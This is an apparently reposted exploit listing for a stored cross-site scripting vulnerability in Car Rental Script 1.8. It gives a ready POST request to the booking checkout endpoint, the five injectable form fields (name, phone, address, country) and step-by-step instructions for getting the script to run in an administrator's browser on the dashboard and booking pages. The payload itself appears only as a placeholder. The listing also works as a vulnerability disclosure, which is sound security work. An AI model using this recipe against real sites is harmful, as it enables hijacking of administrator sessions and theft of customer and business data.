Car rental script 1.8 stored crosssite scripting (xss) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2023-07-04 | Type : webapps | Platform : php
This exploit / vulnerability Car rental script 1.8 stored crosssite scripting (xss) is for educational purposes only and if it is used you will do on your own risk!

[+] Code ...

# Exploit Title: Car Rental Script 1.8 - Stored Cross-site scripting (XSS)
# Date: 30/07/2023
# Exploit Author: CraCkEr
# Vendor: GZ Scripts
# Vendor Homepage: https://gzscripts.com/
# Software Link: https://gzscripts.com/car-rental-php-script.html
# Version: 1.8
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site

Release Notes:

Allow Attacker to inject malicious code into website, give ability to steal sensitive
information, manipulate data, and launch additional attacks.

## Stored XSS
-----------------------------------------------
POST /EventBookingCalendar/load.php?controller=GzFront&action=checkout&cid=1&layout=calendar&show_header=T&local=3 HTTP/1.1

payment_method=pay_arrival&event_prices%5B51%5D=1&event_prices%5B50%5D=1&event_prices%5B49%5D=1&title=mr&male=male&first_name=[XSS Payload]&second_name=[XSS Payload&phone=[XSS Payload&email=cracker%40infosec.com&company=xxx&address_1=[XSS Payload&address_2=xxx&city=xxx&state=xxx&zip=xxx&country=[XSS Payload&additional=xxx&captcha=qqxshj&terms=1&event_id=17&create_booking=1
-----------------------------------------------

POST parameter 'first_name' is vulnerable to XSS
POST parameter 'second_name' is vulnerable to XSS
POST parameter 'phone' is vulnerable to XSS
POST parameter 'address_1' is vulnerable to XSS
POST parameter 'country' is vulnerable to XSS

## Steps to Reproduce:

1. As a [Guest User] Select any [Pickup/Return Location] & Choose any [Time] & [Rental Age] - Then Click on [Search for rent a car] - Select Any Car
2. Inject your [XSS Payload] in "First Name"
3. Inject your [XSS Payload] in "Last Name"
4. Inject your [XSS Payload] in "Phone"
5. Inject your [XSS Payload] in "Address Line 1"
6. Inject your [XSS Payload] in "Country"
7. Accept with terms & Press [Booking]
XSS Fired on Local User Browser.
8. When ADMIN visit [Dashboard] in Administration Panel on this Path (https://website/index.php?controller=GzAdmin&action=dashboard)
XSS Will Fire and Executed on his Browser
9. When ADMIN visit [Bookings] - [All Booking] to check [Pending Booking] on this Path (https://website/index.php?controller=GzBooking&action=index)
XSS Will Fire and Executed on his Browser